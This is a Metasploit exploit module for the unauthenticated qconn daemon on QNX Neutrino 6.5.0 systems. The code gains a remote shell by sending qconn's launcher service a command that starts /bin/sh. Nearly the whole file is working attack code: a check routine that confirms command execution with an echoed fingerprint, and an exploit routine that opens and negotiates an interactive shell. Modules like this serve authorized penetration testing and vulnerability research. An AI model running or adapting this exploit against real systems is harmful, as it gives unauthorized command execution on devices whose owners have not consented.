QNX qconn Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'QNX qconn Command Execution',
        'Description' => %q{
          This module uses the qconn daemon on QNX systems to gain a shell.

          The QNX qconn daemon does not require authentication and allows
          remote users to execute arbitrary operating system commands.

          This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
          and 6.5.0 SP1 (x86).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'David Odell', # Discovery
          'Mor!p3r', # PoC
          'bcoles' # Metasploit
        ],
        'References' => [
          ['EDB', '21520'],
          ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
          ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
          ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
        ],
        'Payload' => {
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'DefaultOptions' => {
          'WfsDelay' => 10,
          'PAYLOAD' => 'cmd/unix/interact'
        },
        'Platform' => 'unix', # QNX Neutrino
        'Arch' => ARCH_CMD,
        'Targets' => [['Automatic', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2012-09-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
      ]
    )
  end

  def check
    vprint_status('Sending check...')

    connect
    res = sock.get_once(-1, 10)

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Safe('QCONN service not detected') unless res.include?('QCONN')

    sock.put("service launcher\n")
    res = sock.get_once(-1, 10)

    return CheckCode::Safe('Launcher service not available') unless res.to_s.include?('OK')

    fingerprint = Rex::Text.rand_text_alphanumeric(5..10)
    sock.put("start/flags run /bin/echo /bin/echo #{fingerprint}\n")
    res = sock.get_once(-1, 10)

    return CheckCode::Safe('Command execution not available') unless res.to_s.include?('OK')

    Rex.sleep(1)

    res = sock.get_once(-1, 10)

    return CheckCode::Safe('Command execution did not return expected output') unless res.to_s.include?(fingerprint)

    CheckCode::Vulnerable('Remote command execution confirmed via QCONN')
  ensure
    disconnect
  end

  def exploit
    connect
    res = sock.get_once(-1, 10)

    fail_with(Failure::Unreachable, 'Connection failed') unless res

    fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.include?('QCONN')

    sock.put("service launcher\n")
    res = sock.get_once(-1, 10)

    fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.to_s.include?('OK')

    print_status('Sending payload...')
    sock.put("start/flags run #{datastore['SHELL']} -\n")

    Rex.sleep(1)

    fail_with(Failure::UnexpectedReply, 'Shell negotiation failed. Unexpected reply.') unless negotiate_shell(sock)

    print_good('Payload sent successfully')

    handler
  end

  def negotiate_shell(sock)
    Timeout.timeout(15) do
      loop do
        data = sock.get_once(-1, 10)

        return if data.blank?

        if data.include?('#') || data.include?('No controlling tty')
          return true
        end

        Rex.sleep(0.5)
      end
    end
  rescue ::Timeout::Error
    return nil
  end
end